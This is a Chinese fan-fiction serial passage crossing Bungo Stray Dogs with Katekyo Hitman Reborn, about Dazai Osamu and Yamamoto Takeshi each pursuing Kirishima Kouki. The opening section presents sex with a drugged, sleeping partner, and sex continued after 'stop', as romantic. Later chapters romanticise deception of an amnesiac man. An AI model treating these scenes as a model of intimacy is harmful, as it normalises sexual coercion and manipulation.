雾岛光希从那天起就开始主动吃药。他吃完药就会睡得很沉,被扩展得软烂的地方缓慢地接纳了太宰治的全部,太宰治每动一下,青年就发出声变调的喘息。 太宰治不喜欢在这种时候亲他,因为亲吻会令他错过雾岛光希的表情。沉睡的光希真的很可爱,每当他挣扎着想要躲开,因为一句“光希哥,再忍耐一下好不好”而真的停下就更可爱。 鹦鹉论是太宰治为了吓雾岛光希乱编的,他连光希身边多一只蚊子都忍受不了,自然对创造出分走光希注意力的生物不感兴趣。可太宰治偏好边做边丈量自己去到的深度,没有什么比这更能直观地令太宰治体会到,光希真的彻头彻尾属于自己。 太宰治无聊的时候,就对幻镜里小时候的自己说,光希真的很能忍耐,明明已经受不了了,喘息断断续续的,哭声也断断续续的。 十二岁的太宰治没听懂,眼神仿佛在质问他为什么要弄哭光希。 二十岁的太宰治笑而不语,等到他下次进入幻境,十四岁的太宰治就已经想方设法把自己这个外来者弄死了。 太宰治听到年轻一些的雾岛光希在公寓里问“外面有客人?”,十四岁的太宰治就关上门,坚决不让雾岛光希出门一步,还用撒娇般的语气说“光希哥不是特地来看我的吗,管外面的客人做什么”。 十四岁的小朋友嘴巴很毒:“光希只是懒得挣扎了,他才不是真的爱你。” 二十岁的太宰治回他:“光希爱不爱我有什么关系,只要我和光希一直在一起,他总有一天会开窍的。” 十四岁的小朋友若有所思,仿佛发现了新大陆。 太宰治微笑,那天捏着他的脑袋,警告道:“连发育都还没发育的小矮子,也敢打光希的主意?” 十四岁的太宰治震惊于长大以后的自己有了一个光希还不够,还要抢自己的光希。 太宰治理所当然,担任首领四年,太宰治俨然已经成为了肮脏的大人。 他和小朋友说,这个世界是假的,你也是假的,只要我不想要你存在,你就会被异能立即抹去,然后这里就变成了我和另一个光希的家。 小朋友忍气吞声,从那天起就没再对幻镜里的雾岛光希说过恶毒的话。 [雾岛光希]以肉眼可见的程度开心了起来。 回到现实以后,不想批阅文件的太宰治照常从港口黑手党的大楼溜了出去。以前他上学的地方已经变成了商业区,被烧毁的公寓也被推平重造,太宰治漫无目的地走在横滨的大街上,转头就看见商店里的雾岛光希。 青年戴着条白色的围巾,见到太宰治出现也有些意外。太宰治看见他和柜台里的侍者说了几句,随后推开玻璃门,缓慢地走到自己的身边。 雾岛光希说:“你这样擅自行动,出了意外怎么办?” 太宰治倒不在乎自己会出什么意外,不过既然光希担心他,太宰治就牵着雾岛光希的手,听话地回了港口黑手党。 一路上的巡逻人员对于他们首领和干部的事见怪不怪,太宰治从很早以前就恨不得昭告天下光希是自己的,对他们来说唯一的差别就是,雾岛干部现在已经能够反握住首领的手。 被照顾的对象似乎换了一换,太宰治本来不打算追究雾岛光希又去给谁买礼物的事,晚上半梦半醒间却发现有什么冰凉的东西蹭过自己的指尖。 他抬手,看到是一枚精巧的戒指。 雾岛光希没料到他会醒,有些不好意思地说只是试试看大小,还没加工完成,坂口先生的话提醒了我,至少在戒指这件事上,应该是作为哥哥的我来送你。 太宰治没料到安吾竟然还能做人事。 戴着戒指的手被送入柔软的地方,雾岛光希以可耻的形式感受到了戒指的形状,他压抑着嗓音,低声说了句“停下”,太宰治却十分认真地注视着他,仿佛连他的每一次呼吸都不愿意错过。 这是太宰治第一次在雾岛光希面前展露出全部的攻击性,头晕目眩的时候,雾岛光希听到他说“光希,我不会喊你哥哥了”。 落在颈间的呼吸潮湿,太宰治那天晚上最后一次进入了幻境,看到的却不是小时候的自己,而是二十一岁的雾岛光希。 青年坐在桌前,看到他手上的戒指后,原本准备的谴责对方欺负自己的弟弟的话忘得一干二净,颇感兴趣地问:“你结婚了?” 太宰治有意无意地转着手上的戒指。 “还没有,打算等他明天睡醒了去。” “是吗?”[雾岛光希]笑了笑,原本紧绷的肩膀舒展,语气也不由地轻柔。 太宰治看到他用那双灰色的眼睛注视着自己。 “我为你感到高兴。我就知道,你是能获得幸福的。” 【绝对完美】的世界开始崩塌。 太宰治以后不再需要使用这样卑鄙的异能入睡了。 他醒来的时候,雾岛光希就躺在他身边,一动不动地盯着他看。 雾岛光希说:“欺负小孩鼻子会变长。” 太宰治太累了,他打了个哈欠,刚打算继续睡觉,雾岛光希却问他:“你不是说今天要找我结婚吗?” 太宰治这才知道,原来进入幻境的时候有人触碰到自己,会获取自己在幻境里的记忆。 雾岛光希就这么一直看着他欺负小孩。 “我没觉得我没开窍。”雾岛光希自言自语道,“我送了戒指给你,就是要和你一直在一起的意思。” 埋在身体里的东西又有了醒来的迹象。雾岛光希吓了一跳,太宰治却跟没事人似的,既没干更过分的事,也没退出来的意思。 太宰治说,光希,以前一直欺负你,真是对不起。 雾岛光希轻笑。他捧住太宰治的脸,额头抵着他的额头。 “没关系。”雾岛光希说,“我不是说过了吗,我会一直保护你。” 快点长大吧。这样的话,雾岛光希从十四岁开始,念叨到了二十七岁。 太宰治忽然记起,在自己接受森鸥外的邀请,加入港口黑手党以前,曾经问过雾岛光希,港口黑手党究竟是个怎样的地方。 雾岛光希想了想,说公关官一开始告诉他,那是个可以令大家感到幸福的地方。 所以在太宰治萌生要给光希创造出一个可以令他感到安心的世界以前,雾岛光希就一直在这么做了。 光希领悟得很慢。 那时的[雾岛光希]也是在这样一个美好的清晨笑起来:[现在想想,的确是那样] [太宰,你和我一样,或许会在那里交到一辈子的朋友] 从那以后,太宰治对清晨的概念,从美好爽朗地自杀,变成了光希描述里那种虚无缥缈的期待。 太宰治觉得好笑。 因为期待这种幼稚的事,是只有小孩才会做的,而他已经不是小孩了。 但没关系,太宰治知道,雾岛光希见过自己所有的样子,只有在雾岛光希面前,他做什么事,光希都会无条件地支持他。 只有一件事,太宰治不再需要。 为了让光希不再掉下眼泪,太宰治心甘情愿分出心神,去保护所有对光希重要的存在。 太宰治从没想过自己还有这么勤劳的一天。 雾岛光希叹了口气,问他:“太宰,你上我,你怎么还哭了?” 太宰治不说话。 他不说话,雾岛光希就抱着他,一下一下地拍着他的背。 时间正好。 太宰治说他可没哭,是光希看错了。 雾岛光希答非所问,他的语气平淡,自然地回了句我爱你。 只三个字。 太宰治放弃了挣扎。 他不再装成熟,也不再装自己热爱工作,更不在装自己根本不害怕失忆的光希不会回到港口黑手党。 “好吧。”港口黑手党年轻的首领说道,“我以后不会再偷偷调查你了。” 雾岛光希心平气和:“太宰,不说人话的话,我依然会揍你。” 太宰治沉默片刻。 雾岛光希等了半分钟,终于等到意料之中的回答。 足足十三年。 太宰治说: 我先爱你的。 我更爱你—— 作者有话说:*中秋快乐!本章评论区发红包[撒花] *下一章开启新的分线,让我构思一下,明天不一定更 第62章 六月二十四日,春。 黑曜战结束的那天,山本武背着雾岛光希从并盛中学的门口经过。 少年趴在他的背上,脸上带着细小的伤痕,身体又软又烫。 “光希。” 雾岛光希睡着的时候,山本武故意放慢脚步。 年轻的剑士注视着两人地上的倒影,轻声问他: “我们是朋友吧?”- 国中时期的山本武很受欢迎。他的长相是日本漫画里传统的爽朗系,运动神经又出了名的发达,作为棒球部的王牌投手,山本武在雾岛光希转来前,就已经很有名了。 并盛正式开学的那天,是山本武第一次见到雾岛光希。少年穿着中学的制服,惹眼的银发柔软而干净,蹲在樱花树下,远远看去就像盯着地砖上的花纹发呆。 花纹有什么好看的呢? “又被广告牌砸了吗,光希。” 山本武看久了才发现,蹲在那里的雾岛光希不是发呆,而是在和个穿着西装的小婴儿讲话。 小婴儿的胸前戴着奶嘴,用稚嫩的童声问他。 雾岛光希抱着膝盖,平静地纠正:“不是广告牌,是棒球。” 小婴儿面不改色,看着毫无杀伤力的,说出的话却有些恶毒:“连棒球都躲不过,你回炉重造吧。” 雾岛光希沉默一会,他的表情看上去没什么变化,山本武却平白无故地觉得他已经变成了座白色的雕塑,要在风里可怜地风化了。 “不是我的错。” “怎么不是你的错。” “它拐弯二百七十度打我。” “就算拐三百六十度你也应该躲开。” “那是……” “你哥哥就躲得开。” 即使是山本武也没见过这么诡异的球路。 少年在小婴儿提到“哥哥”这个话题后就说不出话了,他哼了一声,别过脸去,视线恰好撞上几米远处的山本武。 小婴儿说帮我训练蠢纲就教你怎么躲。 雾岛光希的注意力立即从山本武身上移开了。 最喜欢棒球的山本武听到他说,我不要帮助沢田纲吉。 [我和沢田纲吉是敌人] [我也讨厌棒球]- 山本武真正开始关注起雾岛光希,是在和沢田纲吉成为朋友之后。手臂受伤的山本在天台心灰意冷说要跳楼,沢田纲吉拼死阻止了他。 那天以后,山本武就将沢田纲吉当做了真正的朋友。 始终牢记着[我和沢田纲吉是敌人]这句,山本武不得不将更多的注意力放在说出这种话的雾岛光希身上。 十三岁的雾岛光希不爱说话。除了狱寺以外,山本武很少听到他回应别人的搭话。 光希一个人住。 光希只有在和狱寺说话的时候才会露出笑容。 他就算笑起来的时候也很安静,长长的睫毛掀起,灰色的虹膜被映照出天空的蓝色。 十四岁的狱寺隼人用意大利语叽里咕噜说了什么,十四岁的沢田纲吉也一头雾水,只有同为意大利人的Reborn说了句“狱寺在说光希是白痴——虽然光希的确是白痴”。 雾岛光希听到了这句。 他很生气,日语在脑袋里转了一圈,最后会说的不过也就是句“我才不是笨蛋”。 他连白痴的日语都不会说。 意识到这点后,光希更生气了。 山本武爽朗地笑出了声,他笑到一半才发现雾岛光希一眨不眨地盯着自己,表情仿佛带了点蒙受奇耻大辱般的忍耐,然而正是这分红着脸的忍耐,反而令本就漂亮的雾岛光希显得更—— 更什么呢? 秉着[阿纲的朋友就是我的朋友]的理念,山本武开始接近容易生气的雾岛光希。 他吃饭要挤在雾岛光希和沢田纲吉的中间,放学要和雾岛光希还有沢田纲吉一起走,就连Reborn的试胆大会,也自然而然地抽走沢田纲吉手里的签,成为了雾岛光希的搭档。 “光希怕鬼吗?” “你可以说英语吗。” “听Reborn说,光希也是来玩黑手党游戏的,但如果连日语都说不好,就算是游戏也赢不了的吧?” 山本武在幽深的道路上若有所思,他完全无视了身边一脸震惊的雾岛光希的目光,微笑着对他说。 “跟着书本学不会的话,要不要我教你?” 山本武实际上成绩也没好到哪里去。 和沢田纲吉不同,他是全凭直觉也能及格的类型,在遇到沢田纲吉以前,心思放在了棒球上,遇到沢田纲吉以后,心思又放到了剑术上。 可雾岛光希不知道这点。 他每天风雨不动地去山本武家里补习,补到后面,反而变成了他辅导山本武学习。 山本武考出接近狱寺的高分的那天,雾岛光希总算意识到自己被耍了。 他气愤地对山本武说:“我要宰——” 山本武往他嘴里塞了个饭团。 雾岛光希嚼了几下,刚咽下,继续气愤地:“别以为这样就能——” 山本武又把装了橙汁的杯子递到雾岛光希嘴边。 他这次的力道没把握好,甜腻的橙汁洒了雾岛光希一身。少年的表情空白,他看着从领口处倒进去的饮料,一动不动了好久,久到山本武以为他又要变成白色的雕塑。 仔细想想,他和光希的梁子似乎就是从那时结下的。 光希临走前还对他放下了狠话,说绝对要取走他的性命之类的,可惜山本武压根没教过他骂人的日语,雾岛光希骂了半天,山本武也就听到了“笨蛋笨蛋笨蛋”。 攻击力为零。 山本武看着他气红的眼睛,和生起气时微微摇晃的银发,不仅觉得没有攻击性,甚至还挺可爱的。 山本武之后将这件事告诉了狱寺隼人。 狱寺隼人一脸扭曲,揪着山本武的领子拖到暗处,压低声音问了句“你该不会对阿莱西奥有意思吧?” 山本武很无辜。 “光希是你和阿纲的朋友,自然也是我的朋友。” 狱寺隼人警觉:“你答非所问做什么,我警告你,你要是对他下手,他哥哥会从意大利追过来砍你。” 山本武:“光希的哥哥也爱玩黑手党游戏吗?” 狱寺隼人忍无可忍:“都说了不是游戏了!棒球白痴!那家伙可是——” 可是什么,狱寺隼人没说出来。 山本武看到狱寺隼人抓了抓头发,暴躁地警告自己:“总之你要是不想被砍成两半,就离阿莱西奥远点。” 阿莱西奥是光希的名字,山本武很少称呼他这个名字,要问为什么的话,那就是因为光希不许他叫,光希说他们又不熟,阿莱西奥是熟人才能叫的。 山本武没把这句话放在心上。 毕竟狱寺看错了,他一不喜欢男人,二不喜欢欺负朋友的人。 光希想要杀死阿纲,山本武就把雾岛光希当做敌人,如雨般无声地存在着。 一方提防着一方,一方打心底想除掉一方。 几次暗杀山本失败,雾岛光希惊奇地发现只要和山本武待在一起,原本就很倒霉的自己会变得更倒霉。 被陨石碎片砸中的时候,连山本武都同情他了。 “你是小说里的天选之子吗?”心如死灰的雾岛光希问他。 “那是什么?”十四岁的山本武不以为意,“光希,你最近是在看小说学日语?” 被说中了最近的行为轨迹,雾岛光希又哼了声。他决心不理山本武,可脚踝的疼痛明显,雾岛光希只能假装无事地坐在地上,在河边欣赏鲤鱼。 十分钟后,山本武背着脑袋被鲤鱼撞了的雾岛光希回了家。 “光希。”背着他回去的路上,山本武说,“你是怎么想到来日本上学的?” 雾岛光希还在生闷气。 他干不出在这时趁人之危抹了山本武脖子的事,也可能是因为对山本武身上的buff心有余悸,听到这话也只是说:“你是在套我的话吗。” 山本武:“哈哈,所以果然是为了狱寺吧?” “才不是。”雾岛光希中了计,“我是来完成人生大事的。” 山本武”“人生大事?” “那是当然。”十三岁的雾岛光希故弄玄虚,“像你这种无忧无虑的白痴是理解不了的。” 时隔许久,雾岛光希终于学会了新的骂人词汇。 山本武笑而不语,手自然而然地下移,故意蹭过少年腿上的伤口。 雾岛光希立即像只死翘翘的兔子一样僵硬了。 他还带着几分稚气的眼睛瞪得圆圆的,一副想叫又碍于面子忍气吞声的模样,令山本武第一次体会到了“欺负人”的乐趣。 就这么过了大概两分钟,当山本武以为雾岛光希再也不会开口说话的时候,少年的声音却从背后传来。 大抵是承了山本武的情,也可能是因为从小就受到了良好的教育,雾岛光希别扭地和他道歉。 “对不起。”他说,“我不该随便骂人。” 尽管和狱寺隼人一起长大,雾岛光希倒是会好好道歉。 山本武问他:“这又是谁教你的?” “妈妈啊。”雾岛光希疑惑地回答,他回答完又反应过来什么,有些同情地看着背着自己的山本武。 “没关系。”雾岛光希僵硬地安慰他道,“山本君,别难过,你还有爸爸。” 光希以为山本武是没有妈妈的野人。 山本武没有纠正他这莫名其妙的结论,因为得出这个结论的光希会更好欺负一点。 “之前那个同学怎么不跟你一起回来了?” 有次山本武回家,山本武的父亲就这么好奇地问他。 山本武:“光希在生我的气。” 山本刚:“哈哈,真是青春啊。” 山本刚:“不过人家一个人来日本,人生地不熟的,有误会还是趁早解除为好。” 山本武心想,他们之间的误会大概早就解除了。 观察雾岛光希越久,山本武就越发现,光希早就不讨厌阿纲,也没有真的想要杀掉阿纲。 光希会在山本武和狱寺隼人被叫走时举手和沢田纲吉组队,他连Reborn的目光都不在乎,更不在乎一堆“他为什么和废柴纲玩在一起的眼神”。 少年气急败坏地从老师的办公室里跑走,山本武打听之下才听说是因为他把一堆穿黑西装的人从沢田纲吉身边赶走了。 于是山本武问他:“光希,你还在玩黑手党游戏吗?” 雾岛光希狠狠地瞪了他一眼。 那天以后,雾岛光希开始调整策略。他一边同情山本武年纪轻轻就没了妈妈,一边跟在山本武背后,记录下山本武的行踪轨迹,似乎是觉得这样就能找到对方的弱点。 山本武压根不在乎。 光希换了位置,变成了他的同桌。 光希觉得国一的课程太简单,每天上课时就趴在那里睡觉。 光希睡着的时候脸颊会不自觉地蹭过手臂,山本武听不进课,索性就撑着脸看他。 第三十次走过同样的路时,光希被已经他背习惯了。少年心情好的时候会在他背上把小腿晃来晃去,明明没什么重量,山本武却走得很慢。 光希听到不想听的话,就会记起他是外国人的事实,开始假装听不懂日语。 光希因为黑曜一行人按照排名袭击人的事情小发雷霆,山本武和狱寺赶到的时候,他正在和六道骸互相揪着头发,从单纯的欺骗演变成你的发型才最奇怪。 光希没打赢,也没打输,他被六道骸的幻术摆了一道,不知道看到了什么样的幻境,脸埋在膝盖里,不让别人看他。 所有人里,光希最在意沢田纲吉。 他口口声声说讨厌阿纲,却在阿纲笑着说“有光希同学在真是太好了”时红了脸。 山本武还是第一次看到他露出这样的表情。 光希只在沢田纲吉转过头去和Reborn说话时,才会把脸挪回来,唇角无声地勾起,像种心满意足的小动物,柔软又可怜,叫人忍不住戳戳他的脑袋。 救护车逐渐远去。山本武安静地注视着这一切,他故意降低自己的存在感,直到躲在灌木丛里的雾岛光希抬起头,才发现月光下山本武的踪迹。 雾岛光希一顿,没告诉他ghost的事,只是小声地说别看我。 山本武笑笑,被骂了也不介意,反而在雾岛光希身边蹲下身,告诉他:“光希,幻术是假的。” 十三岁的雾岛光希用手背用力擦了擦眼睛,他的动作粗鲁,把眼角擦出了一片红,说他当然知道是假的。 可是假的也很恐怖,他好不容易才摆脱掉那个人的。 山本武不知道雾岛光希说的[那个人]是谁,他耐心地陪在雾岛光希身边,一直到少年整理好心情,山本武才听到雾岛光希嗓音沉闷地说了句“谢谢”。 从那以后,山本武就总是收到雾岛光希的礼物,他又开始频繁地带光希回家,光希在[竹寿司]很受欢迎,他的年纪比大家小些,发育也比他们晚些,坐在高脚椅上小小的一个,被来吃寿司的客人们包围,手足无措时,就会求助地看向自己的[好朋友]山本武。 山本武很慷慨地把他捞了出来。 情窦初开的年纪,雾岛光希的那些所谓要让他好看的邀请,在山本武看来就跟约会一样。 追人是要使些小计谋的。 夏马尔的真话蚊里有山本武的手笔。 第四十多次背着光希回家的时候,山本武故意挑在雾岛光希逃不掉的时候问他:“光希,我们是朋友吧?” 睡醒的雾岛光希想从山本武的背上跳下去,可剑士的手臂有力,牢牢地锁住他的小腿,又轻描淡写地说了句:“我可是一直把光希当成重要的朋友。” 十三岁的雾岛光希哪里接触过山本武这个类型,由于一张嘴就会说真话,听到这话也只能紧紧地抿着唇,像受惊的小动物一样乖巧地窝着。 山本武微笑,又说:“其实光希也没有那么讨厌我。” 雾岛光希默默挪开眼睛,他的银发下耳廓通红,发出一个意味不明的音节。 “哈哈。”山本武笑起来的时候肩膀耸动,笑意准确地传达到了他背上的雾岛光希那里。 “光希。”他说,“你是害羞了吗?” 雾岛光希中了激将法,迫不得已地说了第一句真话。 他说:“只有一点点害羞。” 雾岛光希的话音刚落,山本武就又感到他的体温高了几分。 欺负光希这件事真的很好玩。 光希感到丢人的时候会一动不动,跟心如死灰似的,一副不敢看他,又忍不住悄悄看他的样子,小腿的肌肉绷得很紧,柔软的长发挠痒痒似的蹭过他的颈窝。 山本武正乐此不疲地享受着这其中的乐趣,脑袋死机的雾岛光希却注意到了山本武脸上的灰尘。 黑曜的时候,山本武也在战斗。 雾岛光希伸手,很认真地擦掉了山本武脸上的灰尘。 山本武总算明白了自己喜欢欺负他的原因。 和喜欢把狱寺气得跳脚不同,山本武将这其中的原因归结于“光希总是毫无自觉地找自己约会”。 是光希先追的他。 所以有点喜欢光希也是理所当然的。 于是十四岁的山本武在将雾岛光希放在沙发上,用绷带一圈一圈地缠过他的脚踝时,异常自然地开口。 “光希。” 雾岛光希瞪大了眼。 “我们交往吧。” 剑士的眼眸带着些锐意,雾岛光希想将腿收回来,踝骨却被山本武握住。 趁着真话蚊还有作用,山本武故意以退为进,用略带受伤的表情问他。 “不可以吗?”- 命运弄人,在山本武马上就要不择手段追到雾岛光希的工夫,十三岁的雾岛光希失去了记忆。 命运喜人,在山本武以为自己很难再和雾岛光希产生联系时,二十三岁的雾岛光希出现在了竹寿司的店里,并且只剩下那天晚上之前的记忆。 山本武当然是不会告诉他真相的。 山本武不仅不会告诉他真相,还连拐带骗地把雾岛光希带回了彭格列的基地,道貌岸然地联系了斯库瓦罗。 “那小鬼麻烦你了。”听完山本武的阐述,曾经被狱寺隼人称为[会被他哥哥砍成生鱼片]的斯库瓦罗安静了几秒,随即忍气吞声地说出一句。 斯库瓦罗和山本武的关系这几年还不错。 十四岁那年,山本武之所以能在这么短的时间内学会大部分剑法,还要多亏了斯库瓦罗那颗爱材之心。 理论上,斯库瓦罗还是他的老师呢。 “不麻烦。”山本武打趣道,“光希很可爱,我以前也一直想要个弟弟。” 斯库瓦罗冷哼:“等你弟弟总是被变态缠上,十四岁不到离家出走,莫名其妙加入当时还没家里领地大的组织,还被一群人不怀好意地看着,不久前又和警察混在一起,当着我的面自爆——”斯库瓦罗说到这里,语气阴森森的,“山本武,你再说一遍,你想要个弟弟?” 山本武不以为然:“我只是以前想过,现在又不想了。” 山本武听狱寺说过。 光希小时候眼睛亮亮的,他总是很可怜。没人和他玩,他就和加百洛涅的小猫小狗玩,三岁的时候因为踩空楼梯咕噜咕噜地从四楼滚到二楼,要不是恰好滚到斯库瓦罗脚边,他还能和保龄球一样滚到一楼。 “而且他是个黑手党。”斯库瓦罗眯起眼,嗅到危险的气息,“你用可爱形容他做什么。” 山本武纠正他:“光希小时候又不想当黑手党,斯库瓦罗,他是崇拜你,想让你高兴才那么说的。” 斯库瓦罗还在气头上:“我让他讨好我了吗!” “原来如此。”这句话正中山本武下怀,他又开始道貌岸然地,“既然你这么讨厌他,那我就先不把他带回来了。” “……”斯库瓦罗恼羞成怒,“喂!!你天天掺和别人家事做什么!快点告诉我你和那小鬼在哪!” “斯库瓦罗。”山本武突然语气严肃,“你是我的朋友,你要是出了意外,我有义务代替你照顾光希。我当然在意你们之间的事。” 不妙的预感成了真。 斯库瓦罗觉得刚刚听山本的语气太严肃,因此还认真等了几秒的自己就是个傻叉,他感到了种自己教出来的学生竟然恩将仇报的愤怒,血压蹭得一下高了。 “我出什么意外!”斯库瓦罗差点把手机捏碎,“我死了也不要你照顾他!” “山本武!你听到了吗!你给我离他远点!山——” 山本武说信号不好,面不改色地挂断了电话。 “是谁啊?”见山本武打完电话回来,在沙发上抱着山本武的匣兵器看电视的雾岛光希抬头。 青年的唇瓣上带着浅浅的咬痕,身上的毛毯随着他的动作下滑一截,抱着次郎的手一松,黄色的秋田犬就跑到了山本武的脚边。 山本武摸了摸次郎的脑袋。 “推销电话。”山本武笑笑,他放下肩上的时雨金时,动作自然地切断了自己的GPS定位。 好了。 注视着面前全然没有怀疑自己的意思的雾岛光希,年轻的剑士想到。 在斯库瓦罗追过来杀了自己以前,这回要用什么手段追到光希呢?—— 作者有话说:*明天夜班,不一定写得完更新[爆哭]赶不上我就挂请假条 第63章 山本武追人的手段层出不穷,然而在雾岛光希看来,他压根不知道山本武为什么要追自己,毕竟在雾岛光希的记忆里,他十三岁的时候就有点喜欢山本武才对。 “是这样吗。”穿着竹寿司的制服,正在店里工作的山本爸爸回忆道,“你那个时候经常给阿武补习,我一开始以为你们只是朋友而已。” 【不要这么轻易就接受了山本大人喜欢男人的事啊!】 听到奇怪的声音,雾岛光希转头看向门边陪同自己出门的彭格列成员,观察了一会才发现,后面那句话似乎是从对方那里发出的。 不妙,他可不会Reborn先生的读心术,难不成是出现幻觉了? “不过阿武一直把你当做很重要的朋友。”山本刚笑眯眯地,见雾岛光希转回来,继续有条不紊地做着手里的寿司,“有段时间你一直没来家里,阿武说你是生了他的气,还问我要怎么和你道歉。” ……山本武和他道歉做什么? 雾岛光希回忆了会,心想那大概是自己屡次暗杀山本武失败,恼羞成怒的时候。 “哈哈。”山本父亲话音刚落,又发出了和山本武相似的爽朗笑容,“那家伙在你睡着的时候也一直看着你,还问我以前他妈妈生气我会怎么做——” 【所以山本大人那时候就喜欢男人了吗!】 作为雨守部门的精英,穿着黑西装的男人表面平静,心里却已经掀起海啸般的波澜。 【如果他们那个时候就在一起了,那这家伙之后加入港口黑手党又是怎么回事,难不成是见异思迁,和山本大人分居了?】 雾岛光希真的很难忽略掉这莫名其妙的声音,他隐约记得山本武捏着自己的脚踝,一脸无害地问他“要不要交往”时的样子,可之后发生了什么,雾岛光希已经一点也不记得了。 雾岛光希在这头冥思苦想着,全然没注意到店里来了新的客人。山本武站在他的身后,雾岛光希后知后觉地抬起头时,山本武正巧也低着头看他。 青年的下颌有一道疤,雾岛光希对于这道疤的由来没有印象,但从疤痕的形状勉强可以判断出是剑伤。 当初的伤口多半很深,可能还流了很多血。神奇的是这道伤痕在山本武的身上并未体现出分毫的不和谐,反而令他看起来更具魅力了些。 “光希。”山本武问他,“怎么一个人出来?” 雾岛光希自然而然:“叔叔说教我做寿司。” 山本武的手指不自觉地勾过肩上的剑带:“你又开始对做料理感兴趣了?” 雾岛光希:“上次看到你做,我也想试试,可惜做得很烂,在我做好以前,还是不给你吃了。” 【其实他就算做有毒料理我也会吃的】 山本武面不改色,心声也理所当然。 雾岛光希有些疑惑,心想有毒的吃下去山本武岂不是死了。他们是恋人,又不是仇人,就算是他十三岁想谋杀山本武的时候,也没想通过食物毒死他过。 门外又下起了淅淅沥沥的小雨,山本武没带其他人,刚才那个叽里呱啦的黑手党也很有眼色地离开了。 “是吗。”山本武语气平静,“下次可以留到我回来的时候。” 雾岛光希撑着脸:“都说了没做好。” 山本武:“重要的又不是这个。” 在山本刚的面前,山本武从容地笑起来。 雨珠敲打着房檐,无声无息地融入地面的缝隙中。 年轻的剑士注视着雾岛光希的眼睛,直白地回道:“光希能想着我,我就很开心了。”- 山本武是一个别人很难有理由不喜欢他的人。等雾岛光希反应过来,这家伙已经全方面融入了他的生活。 雾岛光希问山本武,为什么他十三岁以后就离开了并盛。 山本武坦诚地告诉了他有关ghost和港口黑手党的事,甚至由于过于坦诚,雾岛光希本人都露出了不可置信的目光。 “你怕刺激到我,所以就一直没来找我?” “嗯……”山本武想了想,“也不能这样说,我经常来看你,只是光希你太忙了,有时候没注意到而已。” “……真的?” “真的。”山本武装模作样地叹了口气,“我还托人送了你生日礼物,可惜你只在意阿纲的礼物,就像你以前也只在意阿纲一样。” 雾岛光希下意识地反驳:“我哪有只在意沢田君。” “那是好事,不是吗。”山本武循循善诱道,“对我来说你和阿纲都是比生命还重要的人,起初听到你说和阿纲是敌人,比听到你说你讨厌棒球还令我吃惊。” 他有说过这话吗? 雾岛光希对于山本武的愧疚又微妙地多了一层。 靠着这层愧疚,尽管回到港口黑手党处理工作,雾岛光希也依旧和山本武保持着联系。 港口黑手党的人对山本武有着微妙的敌意。 雾岛光希从他们的眼里看到对山本武的敌意时,就仿佛看到了十三岁的自己。 有点怀念。 山本武在这方面异常善解人意:“不用总是光希来找我,光希要是为难的话,我来找光希也可以。” 山本武一来,雾岛光希就把文件收了起来,他对港口黑手党的机密严防死守的,回了句:“你不是也有工作?” 山本武忽略掉雾岛光希的举动:“所以光希是担心我?” 雾岛光希觉得山本武有些过于心大,毕竟山本武处理彭格列的文件时就从不避着他——虽然雾岛光希也很自觉地不看。 “这样真的没问题吗。”雾岛光希沉思,“沢田君那边不算,隼人知道的话会教训你的吧。” “我不管做什么狱寺都会教训我。”山本武习以为常,“而且我知道光希会替我说话。” 雾岛光希沉默片刻。 他发现山本武有时候有点茶言茶语,然而由于山本武把这些话说得过于自然,不仅完全没有令人反感,雾岛光希还觉得挺有趣的。 “你是不是怎样都不会生气?” 察觉到山本武既没有和自己算以前的账的意思,也没有算在这里陪自己无偿加班的账的意思,雾岛光希忍不住问出了自己心里的疑问。 山本武在给他剥桔子。 “我喜欢你。”山本武顺其自然地回道,“我为什么要和你生气。” 雾岛光希张了张嘴,没发出声音。 “那你为什么喜欢我?”良久,雾岛光希放下笔,又问。 山本武抬眼看他。 雾岛光希的表情在灯光下显得有些困惑:“就算你国中的时候喜欢我,那也已经过去十年了,中间你难道不会喜欢别人吗?” 山本武轻笑,用了一个比喻:“过了十年,斯库瓦罗不也依旧喜欢练剑?” 雾岛光希没听懂。 不过既然他用了斯库瓦罗做比喻,那雾岛光希就咨询了找上门的斯库瓦罗。 听了他的话,斯库瓦罗沉默片刻,开始怒吼山本武人面兽心,不怀好意。 雾岛光希用看白痴的眼神看斯库瓦罗,说山本要是真的人面兽心,早就该拿当初自己屡次暗算他的事勒索自己了。 然后斯库瓦罗就追着他砍了一顿。 和自家哥哥打了一架,丝毫没有落入下风,雾岛光希看到山本武来的时候还有些得意,斯库瓦罗却更生气了。 剑士的目光在触及雾岛光希脸上的伤痕时暗了一下。山本武的指腹蹭过青年侧脸处微微渗血的伤口,不轻不重地按了下,还没等雾岛光希弄懂从不生气的山本这个表情是什么意思,后者就在斯库瓦罗挥剑之际抬眼,声线平稳,却无比坚定地说了一句。 “斯库瓦罗。”山本武道,“我以剑士的名义起誓。” 只一句,斯库瓦罗的剑就顿在了半空。 这令斯库瓦罗想起雾岛光希刚出生时,自己的誓言。 ——过了十年,斯库瓦罗不也依旧喜欢练剑。 这句话的意思是,同为剑士,山本武和斯库瓦罗一样,有着自己的执着和自尊。 他们一辈子只会喜欢一个人,只会追随一位首领,如若违背,山本武也没资格再拿起时雨金时了。 少年当初向雾岛光希告白时下了很大的决心。 十四岁的山本武想,他会在剑术上加倍努力,成为能令光希最喜欢的哥哥承认的人。 光希要是想留在日本,他就趁休假的工夫飞回来见他。 光希要是不想成为黑手党,他就隔绝光希周围的全部危险,让光希能做个自由的普通人。 光希不爱说话也没关系,爱生气也没关系,甚至喜欢别人也没关系—— 蹲在灌木丛里,因为六道骸的幻术而感到恐惧的光希把脸埋进了手臂里。 那是山本武第一次强烈地拥有变强的欲望。他希望光希无忧无虑地,继续做那个会和老师努力争辩“怎么就没人在乎了!他们欺负沢田,沢田他自己不在乎吗!”的人,又或者继续做那个“好吧,我和你道歉,山本君,我不应该骂你笨蛋”的人。 要说那十年改变了什么,也只是令山本武的决心更深了些而已。 十年过去,光希依旧很倒霉。 山本武见过录像里他无声地掉着眼泪,珍惜地把受伤的朋友放下,仇恨地看向魏尔伦的样子,也见过他将处刑的工作揽在自己身上,发现自己的部下一个也不敢抬头时有些无措的样子。 人怎么能这么倒霉。 光希从出生倒霉到现在,他要是光希,他都要开始怨天尤人了。 光希倒霉得有点可怜。 但光希依旧能骄傲地说出他的名字是阿莱西奥,阿莱西奥在意大利语里是守护者,他天生就是要保护人的。 十年前那个蹲在樱花树下的影子和现在的雾岛光希重合。 【你知道我有多爱他】 雾岛光希一愣,听见山本武的心声。 “那我也不同意。”半晌,听懂山本武意思的斯库瓦罗阴沉沉地,扫了眼早就长大了的阿莱西奥。 